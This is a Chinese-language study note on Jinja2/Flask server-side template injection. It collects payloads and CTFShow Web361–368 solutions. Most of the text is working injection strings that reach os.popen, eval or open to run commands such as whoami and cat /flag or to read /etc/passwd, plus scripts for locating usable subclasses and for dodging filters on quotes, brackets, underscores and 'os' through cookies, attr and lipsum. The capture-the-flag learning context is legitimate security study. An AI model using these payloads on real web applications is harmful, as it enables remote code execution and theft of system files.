SSTI学习笔记

一、啥事SSTI

二、常用payload(?)

抄一下可能使用的：

读文件

RCE
python3:

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

python2:

{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}

both:

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
 
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
 
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

利用config进行RCE:{{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}

读文件
python3:

python2:

{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}

用来跑子类的脚本：

# 远程跑子类

import json
 
a = """
<class 'type'>, <class 'weakref'>,...
"""
 
num = 0
allList = []
 
result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i
        
for k,v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k)+"--->"+v)

# 跑完了加__init__.__globals__['popen']('whoami').read()
# 或者加__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')

三、常用bypass

再贴一遍，写的太好了，参考文章后半部分的bypass部分

四、CTFShow题解

Web361

还得一步一步来先找所有子类
payload:
?name={{().__class__.__mro__[-1].__subclasses__()}}
跑能用的方法
跑出来是132：

132—> <class ‘os._wrap_close’>
加上

__init__.__globals__['popen']('whoami').read()

即可RCE

最终payload:

?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

Web362

上一题的payload先试试：
返回一个:(应该是被过滤了

使用config进行RCE可以bypass，也看到利用全角数字绕过过滤的方法，附上脚本：

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
#'０','１','２','３','４','５','６','７','８','９'

payload:

?name={{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read()}}

Web363

过滤引号，参考上面的博客中的bypass方法，使用request

payload:

{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag

Web364

先看看上一题的payload能不能梭哈

过滤了request.args.***,可以直接用request.cookies.arg1

payload:

?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}

Cookie:arg1=open;arg2=/flag

Web365

还是先试试上一题的payload

过滤了中括号

可以用__getitem__
payload:

?name={{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.__builtins__.__getitem__(request.cookies.arg1)(request.cookies.arg2).read()}}

Cookie:arg1=open;arg2=/flag

Web366

还是先试试上一题的payload

进一步过滤了下划线

使用十六进制编码bypass

?name={{().["\x5f\x5fclass\x5f\x5f"].["\x5f\x5fbases\x5f\x5f"].["\x5f\x5fgetitem\x5f\x5f"](0).["\x5f\x5fsubclasses\x5f\x5f]"().["\x5f\x5fgetitem\x5f\x5f"](132).["\x5f\x5finit\x5f\x5f"].["\x5f\x5fglobals\x5f\x5f"].["\x5f\x5fbuiltins\x5f\x5f"].["\x5f\x5fgetitem\x5f\x5f"](request.cookies.arg1)(request.cookies.arg2).read()}}

大意了，过滤了引号，上面那个payload用不了

但是还可以用request

payload:

?name={{().request.cookies.a.request.cookies.b.request.cookies.c(0).request.cookies.d().request.cookies.c(132).request.cookies.e.request.cookies.f.request.cookies.g.request.cookies.c(request.cookies.arg1)(request.cookies.arg2).read()}}

Cookie: a=__class__;b=__bases__;c=__getitem__;d=__subclasses__;e=__init__;f=__globals__;g=__builtins__;arg1=open;arg2=/flag

还是不行破防了

实在不会了抄一下别的师傅的

payload:

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
 
Cookie:a=__globals__;b=cat /flag

可以看看下面这篇博客，讲的比较清楚

https://blog.csdn.net/weixin_44576725/article/details/124176797

Web367

过滤了os，用get+cookie来bypass:

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie:a=__globals__;b=os;c=cat /flag

Web368

payload:

?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}

Cookie:a=__globals__;b=os;c=cat /flag

SSTI还有四道题目但是不太做得动了，先这样吧下次再来做SSTI也不知道是啥时候了，比赛遇到再说